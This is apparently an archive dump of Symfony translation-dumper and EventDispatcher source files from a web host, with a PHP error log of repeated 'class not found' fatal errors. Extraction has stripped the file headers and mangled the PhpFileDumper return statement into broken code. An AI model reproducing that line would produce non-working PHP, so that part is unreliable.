translation/Dumper/JsonFileDumper.php000064400000001505151113512150013731 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * JsonFileDumper generates an json formatted string representation of a message catalogue. * * @author singles */ class JsonFileDumper extends FileDumper { public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $flags = $options['json_encoding'] ?? \JSON_PRETTY_PRINT; return json_encode($messages->all($domain), $flags); } protected function getExtension(): string { return 'json'; } } translation/Dumper/error_log000064400000032742151113512150012256 0ustar00[20-Nov-2025 04:04:09 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/YamlFileDumper.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/YamlFileDumper.php on line 24 [20-Nov-2025 04:06:07 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php on line 22 [20-Nov-2025 04:11:39 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php on line 21 [20-Nov-2025 04:12:42 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php on line 21 [20-Nov-2025 04:13:45 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php on line 21 [20-Nov-2025 04:15:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IniFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IniFileDumper.php on line 21 [20-Nov-2025 04:38:00 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php on line 22 [20-Nov-2025 04:38:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php on line 21 [20-Nov-2025 04:45:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php on line 21 [20-Nov-2025 08:21:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php on line 21 [20-Nov-2025 08:23:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php on line 21 [20-Nov-2025 08:24:27 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php on line 21 [20-Nov-2025 08:26:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IniFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IniFileDumper.php on line 21 [20-Nov-2025 08:27:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php on line 22 [20-Nov-2025 08:30:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/YamlFileDumper.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/YamlFileDumper.php on line 24 [20-Nov-2025 08:49:28 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Dumper\DumperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/FileDumper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/FileDumper.php on line 26 [20-Nov-2025 09:12:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php on line 21 [20-Nov-2025 09:13:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php on line 22 [20-Nov-2025 09:13:04 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php on line 21 [25-Nov-2025 02:31:51 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php on line 21 [25-Nov-2025 02:34:29 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php on line 22 [25-Nov-2025 02:59:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php on line 21 [25-Nov-2025 03:00:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php on line 21 [25-Nov-2025 03:24:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IniFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IniFileDumper.php on line 21 [25-Nov-2025 03:24:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Dumper\DumperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/FileDumper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/FileDumper.php on line 26 [25-Nov-2025 03:26:59 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php on line 22 [25-Nov-2025 04:30:22 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php on line 21 [25-Nov-2025 04:33:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php on line 21 [25-Nov-2025 05:29:02 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IcuResFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IcuResFileDumper.php on line 21 [25-Nov-2025 23:10:39 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Dumper\DumperInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/FileDumper.php:26 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/FileDumper.php on line 26 [26-Nov-2025 00:38:24 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/QtFileDumper.php on line 21 [26-Nov-2025 01:22:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/YamlFileDumper.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/YamlFileDumper.php on line 24 [26-Nov-2025 01:22:52 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/MoFileDumper.php on line 22 [26-Nov-2025 01:30:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php:22 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/XliffFileDumper.php on line 22 [26-Nov-2025 01:35:31 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/JsonFileDumper.php on line 21 [26-Nov-2025 01:53:05 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/CsvFileDumper.php on line 21 [26-Nov-2025 01:56:47 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PoFileDumper.php on line 21 [26-Nov-2025 02:04:36 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/PhpFileDumper.php on line 21 [26-Nov-2025 02:04:40 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Translation\Dumper\FileDumper" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IcuResFileDumper.php:21 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Dumper/IcuResFileDumper.php on line 21 translation/Dumper/YamlFileDumper.php000064400000003001151113512160013714 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\Exception\LogicException; use Symfony\Component\Translation\MessageCatalogue; use Symfony\Component\Translation\Util\ArrayConverter; use Symfony\Component\Yaml\Yaml; /** * YamlFileDumper generates yaml files from a message catalogue. * * @author Michel Salib */ class YamlFileDumper extends FileDumper { private string $extension; public function __construct(string $extension = 'yml') { $this->extension = $extension; } public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { if (!class_exists(Yaml::class)) { throw new LogicException('Dumping translations in the YAML format requires the Symfony Yaml component.'); } $data = $messages->all($domain); if (isset($options['as_tree']) && $options['as_tree']) { $data = ArrayConverter::expandToTree($data); } if (isset($options['inline']) && ($inline = (int) $options['inline']) > 0) { return Yaml::dump($data, $inline); } return Yaml::dump($data); } protected function getExtension(): string { return $this->extension; } } translation/Dumper/CsvFileDumper.php000064400000002555151113512160013562 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * CsvFileDumper generates a csv formatted string representation of a message catalogue. * * @author Stealth35 */ class CsvFileDumper extends FileDumper { private string $delimiter = ';'; private string $enclosure = '"'; public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $handle = fopen('php://memory', 'r+'); foreach ($messages->all($domain) as $source => $target) { fputcsv($handle, [$source, $target], $this->delimiter, $this->enclosure); } rewind($handle); $output = stream_get_contents($handle); fclose($handle); return $output; } /** * Sets the delimiter and escape character for CSV. * * @return void */ public function setCsvControl(string $delimiter = ';', string $enclosure = '"') { $this->delimiter = $delimiter; $this->enclosure = $enclosure; } protected function getExtension(): string { return 'csv'; } } translation/Dumper/MoFileDumper.php000064400000004350151113512160013375 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\Loader\MoFileLoader; use Symfony\Component\Translation\MessageCatalogue; /** * MoFileDumper generates a gettext formatted string representation of a message catalogue. * * @author Stealth35 */ class MoFileDumper extends FileDumper { public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $sources = $targets = $sourceOffsets = $targetOffsets = ''; $offsets = []; $size = 0; foreach ($messages->all($domain) as $source => $target) { $offsets[] = array_map('strlen', [$sources, $source, $targets, $target]); $sources .= "\0".$source; $targets .= "\0".$target; ++$size; } $header = [ 'magicNumber' => MoFileLoader::MO_LITTLE_ENDIAN_MAGIC, 'formatRevision' => 0, 'count' => $size, 'offsetId' => MoFileLoader::MO_HEADER_SIZE, 'offsetTranslated' => MoFileLoader::MO_HEADER_SIZE + (8 * $size), 'sizeHashes' => 0, 'offsetHashes' => MoFileLoader::MO_HEADER_SIZE + (16 * $size), ]; $sourcesSize = \strlen($sources); $sourcesStart = $header['offsetHashes'] + 1; foreach ($offsets as $offset) { $sourceOffsets .= $this->writeLong($offset[1]) .$this->writeLong($offset[0] + $sourcesStart); $targetOffsets .= $this->writeLong($offset[3]) .$this->writeLong($offset[2] + $sourcesStart + $sourcesSize); } $output = implode('', array_map($this->writeLong(...), $header)) .$sourceOffsets .$targetOffsets .$sources .$targets ; return $output; } protected function getExtension(): string { return 'mo'; } private function writeLong(mixed $str): string { return pack('V*', $str); } } translation/Dumper/DumperInterface.php000064400000001373151113512160014124 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * DumperInterface is the interface implemented by all translation dumpers. * There is no common option. * * @author Michel Salib */ interface DumperInterface { /** * Dumps the message catalogue. * * @param array $options Options that are used by the dumper * * @return void */ public function dump(MessageCatalogue $messages, array $options = []); } translation/Dumper/FileDumper.php000064400000007072151113512170013106 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Exception\RuntimeException; use Symfony\Component\Translation\MessageCatalogue; /** * FileDumper is an implementation of DumperInterface that dump a message catalogue to file(s). * * Options: * - path (mandatory): the directory where the files should be saved * * @author Michel Salib */ abstract class FileDumper implements DumperInterface { /** * A template for the relative paths to files. * * @var string */ protected $relativePathTemplate = '%domain%.%locale%.%extension%'; /** * Sets the template for the relative paths to files. * * @param string $relativePathTemplate A template for the relative paths to files * * @return void */ public function setRelativePathTemplate(string $relativePathTemplate) { $this->relativePathTemplate = $relativePathTemplate; } /** * @return void */ public function dump(MessageCatalogue $messages, array $options = []) { if (!\array_key_exists('path', $options)) { throw new InvalidArgumentException('The file dumper needs a path option.'); } // save a file for each domain foreach ($messages->getDomains() as $domain) { $fullpath = $options['path'].'/'.$this->getRelativePath($domain, $messages->getLocale()); if (!file_exists($fullpath)) { $directory = \dirname($fullpath); if (!file_exists($directory) && !@mkdir($directory, 0777, true)) { throw new RuntimeException(sprintf('Unable to create directory "%s".', $directory)); } } $intlDomain = $domain.MessageCatalogue::INTL_DOMAIN_SUFFIX; $intlMessages = $messages->all($intlDomain); if ($intlMessages) { $intlPath = $options['path'].'/'.$this->getRelativePath($intlDomain, $messages->getLocale()); file_put_contents($intlPath, $this->formatCatalogue($messages, $intlDomain, $options)); $messages->replace([], $intlDomain); try { if ($messages->all($domain)) { file_put_contents($fullpath, $this->formatCatalogue($messages, $domain, $options)); } continue; } finally { $messages->replace($intlMessages, $intlDomain); } } file_put_contents($fullpath, $this->formatCatalogue($messages, $domain, $options)); } } /** * Transforms a domain of a message catalogue to its string representation. */ abstract public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string; /** * Gets the file extension of the dumper. */ abstract protected function getExtension(): string; /** * Gets the relative file path using the template. */ private function getRelativePath(string $domain, string $locale): string { return strtr($this->relativePathTemplate, [ '%domain%' => $domain, '%locale%' => $locale, '%extension%' => $this->getExtension(), ]); } } translation/Dumper/PhpFileDumper.php000064400000001430151113512170013546 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * PhpFileDumper generates PHP files from a message catalogue. * * @author Michel Salib */ class PhpFileDumper extends FileDumper { public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { return "all($domain), true).";\n"; } protected function getExtension(): string { return 'php'; } } translation/Dumper/QtFileDumper.php000064400000003534151113512170013412 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Dumper; use Symfony\Component\Translation\MessageCatalogue; /** * QtFileDumper generates ts files from a message catalogue. * * @author Benjamin Eberlei */ class QtFileDumper extends FileDumper { public function formatCatalogue(MessageCatalogue $messages, string $domain, array $options = []): string { $dom = new \DOMDocument('1.0', 'utf-8'); $dom->formatOutput = true; $ts = $dom->appendChild($dom->createElement('TS')); $context = $ts->appendChild($dom->createElement('context')); $context->appendChild($dom->createElement('name', $domain)); foreach ($messages->all($domain) as $source => $target) { $message = $context->appendChild($dom->createElement('message')); $metadata = $messages->getMetadata($source, $domain); if (isset($metadata['sources'])) { foreach ((array) $metadata['sources'] as $location) { $loc = explode(':', $location, 2); $location = $message->appendChild($dom->createElement('location')); $location->setAttribute('filename', $loc[0]); if (isset($loc[1])) { $location->setAttribute('line', $loc[1]); } } } $message->appendChild($dom->createElement('source', $source)); $message->appendChild($dom->createElement('translation', $target)); } return $dom->saveXML(); } protected function getExtension(): string { return 'ts'; } } event-dispatcher/EventDispatcher.php000064400000021444151113512170013614 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher; use Psr\EventDispatcher\StoppableEventInterface; use Symfony\Component\EventDispatcher\Debug\WrappedListener; /** * The EventDispatcherInterface is the central point of Symfony's event listener system. * * Listeners are registered on the manager and events are dispatched through the * manager. * * @author Guilherme Blanco * @author Jonathan Wage * @author Roman Borschel * @author Bernhard Schussek * @author Fabien Potencier * @author Jordi Boggiano * @author Jordan Alliot * @author Nicolas Grekas */ class EventDispatcher implements EventDispatcherInterface { private array $listeners = []; private array $sorted = []; private array $optimized; public function __construct() { if (__CLASS__ === static::class) { $this->optimized = []; } } public function dispatch(object $event, string $eventName = null): object { $eventName ??= $event::class; if (isset($this->optimized)) { $listeners = $this->optimized[$eventName] ?? (empty($this->listeners[$eventName]) ? [] : $this->optimizeListeners($eventName)); } else { $listeners = $this->getListeners($eventName); } if ($listeners) { $this->callListeners($listeners, $eventName, $event); } return $event; } public function getListeners(string $eventName = null): array { if (null !== $eventName) { if (empty($this->listeners[$eventName])) { return []; } if (!isset($this->sorted[$eventName])) { $this->sortListeners($eventName); } return $this->sorted[$eventName]; } foreach ($this->listeners as $eventName => $eventListeners) { if (!isset($this->sorted[$eventName])) { $this->sortListeners($eventName); } } return array_filter($this->sorted); } public function getListenerPriority(string $eventName, callable|array $listener): ?int { if (empty($this->listeners[$eventName])) { return null; } if (\is_array($listener) && isset($listener[0]) && $listener[0] instanceof \Closure && 2 >= \count($listener)) { $listener[0] = $listener[0](); $listener[1] ??= '__invoke'; } foreach ($this->listeners[$eventName] as $priority => &$listeners) { foreach ($listeners as &$v) { if ($v !== $listener && \is_array($v) && isset($v[0]) && $v[0] instanceof \Closure && 2 >= \count($v)) { $v[0] = $v[0](); $v[1] ??= '__invoke'; } if ($v === $listener || ($listener instanceof \Closure && $v == $listener)) { return $priority; } } } return null; } public function hasListeners(string $eventName = null): bool { if (null !== $eventName) { return !empty($this->listeners[$eventName]); } foreach ($this->listeners as $eventListeners) { if ($eventListeners) { return true; } } return false; } /** * @return void */ public function addListener(string $eventName, callable|array $listener, int $priority = 0) { $this->listeners[$eventName][$priority][] = $listener; unset($this->sorted[$eventName], $this->optimized[$eventName]); } /** * @return void */ public function removeListener(string $eventName, callable|array $listener) { if (empty($this->listeners[$eventName])) { return; } if (\is_array($listener) && isset($listener[0]) && $listener[0] instanceof \Closure && 2 >= \count($listener)) { $listener[0] = $listener[0](); $listener[1] ??= '__invoke'; } foreach ($this->listeners[$eventName] as $priority => &$listeners) { foreach ($listeners as $k => &$v) { if ($v !== $listener && \is_array($v) && isset($v[0]) && $v[0] instanceof \Closure && 2 >= \count($v)) { $v[0] = $v[0](); $v[1] ??= '__invoke'; } if ($v === $listener || ($listener instanceof \Closure && $v == $listener)) { unset($listeners[$k], $this->sorted[$eventName], $this->optimized[$eventName]); } } if (!$listeners) { unset($this->listeners[$eventName][$priority]); } } } /** * @return void */ public function addSubscriber(EventSubscriberInterface $subscriber) { foreach ($subscriber->getSubscribedEvents() as $eventName => $params) { if (\is_string($params)) { $this->addListener($eventName, [$subscriber, $params]); } elseif (\is_string($params[0])) { $this->addListener($eventName, [$subscriber, $params[0]], $params[1] ?? 0); } else { foreach ($params as $listener) { $this->addListener($eventName, [$subscriber, $listener[0]], $listener[1] ?? 0); } } } } /** * @return void */ public function removeSubscriber(EventSubscriberInterface $subscriber) { foreach ($subscriber->getSubscribedEvents() as $eventName => $params) { if (\is_array($params) && \is_array($params[0])) { foreach ($params as $listener) { $this->removeListener($eventName, [$subscriber, $listener[0]]); } } else { $this->removeListener($eventName, [$subscriber, \is_string($params) ? $params : $params[0]]); } } } /** * Triggers the listeners of an event. * * This method can be overridden to add functionality that is executed * for each listener. * * @param callable[] $listeners The event listeners * @param string $eventName The name of the event to dispatch * @param object $event The event object to pass to the event handlers/listeners * * @return void */ protected function callListeners(iterable $listeners, string $eventName, object $event) { $stoppable = $event instanceof StoppableEventInterface; foreach ($listeners as $listener) { if ($stoppable && $event->isPropagationStopped()) { break; } $listener($event, $eventName, $this); } } /** * Sorts the internal list of listeners for the given event by priority. */ private function sortListeners(string $eventName): void { krsort($this->listeners[$eventName]); $this->sorted[$eventName] = []; foreach ($this->listeners[$eventName] as &$listeners) { foreach ($listeners as &$listener) { if (\is_array($listener) && isset($listener[0]) && $listener[0] instanceof \Closure && 2 >= \count($listener)) { $listener[0] = $listener[0](); $listener[1] ??= '__invoke'; } $this->sorted[$eventName][] = $listener; } } } /** * Optimizes the internal list of listeners for the given event by priority. */ private function optimizeListeners(string $eventName): array { krsort($this->listeners[$eventName]); $this->optimized[$eventName] = []; foreach ($this->listeners[$eventName] as &$listeners) { foreach ($listeners as &$listener) { $closure = &$this->optimized[$eventName][]; if (\is_array($listener) && isset($listener[0]) && $listener[0] instanceof \Closure && 2 >= \count($listener)) { $closure = static function (...$args) use (&$listener, &$closure) { if ($listener[0] instanceof \Closure) { $listener[0] = $listener[0](); $listener[1] ??= '__invoke'; } ($closure = $listener(...))(...$args); }; } else { $closure = $listener instanceof WrappedListener ? $listener : $listener(...); } } } return $this->optimized[$eventName]; } } event-dispatcher/GenericEvent.php000064400000006721151113512170013103 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\EventDispatcher; use Symfony\Contracts\EventDispatcher\Event; /** * Event encapsulation class. * * Encapsulates events thus decoupling the observer from the subject they encapsulate. * * @author Drak * * @implements \ArrayAccess * @implements \IteratorAggregate */ class GenericEvent extends Event implements \ArrayAccess, \IteratorAggregate { protected $subject; protected $arguments; /** * Encapsulate an event with $subject and $args. * * @param mixed $subject The subject of the event, usually an object or a callable * @param array $arguments Arguments to store in the event */ public function __construct(mixed $subject = null, array $arguments = []) { $this->subject = $subject; $this->arguments = $arguments; } /** * Getter for subject property. */ public function getSubject(): mixed { return $this->subject; } /** * Get argument by key. * * @throws \InvalidArgumentException if key is not found */ public function getArgument(string $key): mixed { if ($this->hasArgument($key)) { return $this->arguments[$key]; } throw new \InvalidArgumentException(sprintf('Argument "%s" not found.', $key)); } /** * Add argument to event. * * @return $this */ public function setArgument(string $key, mixed $value): static { $this->arguments[$key] = $value; return $this; } /** * Getter for all arguments. */ public function getArguments(): array { return $this->arguments; } /** * Set args property. * * @return $this */ public function setArguments(array $args = []): static { $this->arguments = $args; return $this; } /** * Has argument. */ public function hasArgument(string $key): bool { return \array_key_exists($key, $this->arguments); } /** * ArrayAccess for argument getter. * * @param string $key Array key * * @throws \InvalidArgumentException if key does not exist in $this->args */ public function offsetGet(mixed $key): mixed { return $this->getArgument($key); } /** * ArrayAccess for argument setter. * * @param string $key Array key to set */ public function offsetSet(mixed $key, mixed $value): void { $this->setArgument($key, $value); } /** * ArrayAccess for unset argument. * * @param string $key Array key */ public function offsetUnset(mixed $key): void { if ($this->hasArgument($key)) { unset($this->arguments[$key]); } } /** * ArrayAccess has argument. * * @param string $key Array key */ public function offsetExists(mixed $key): bool { return $this->hasArgument($key); } /** * IteratorAggregate for iterating over the object like an array. * * @return \ArrayIterator */ public function getIterator(): \ArrayIterator { return new \ArrayIterator($this->arguments); } } event-dispatcher/README.md000064400000001127151113512200011260 0ustar00EventDispatcher Component ========================= The EventDispatcher component provides tools that allow your application components to communicate with each other by dispatching events and listening to them. Resources --------- * [Documentation](https://symfony.com/doc/current/components/event_dispatcher.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) event-dispatcher/LICENSE000064400000002054151113512200011006 0ustar00Copyright (c) 2004-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, 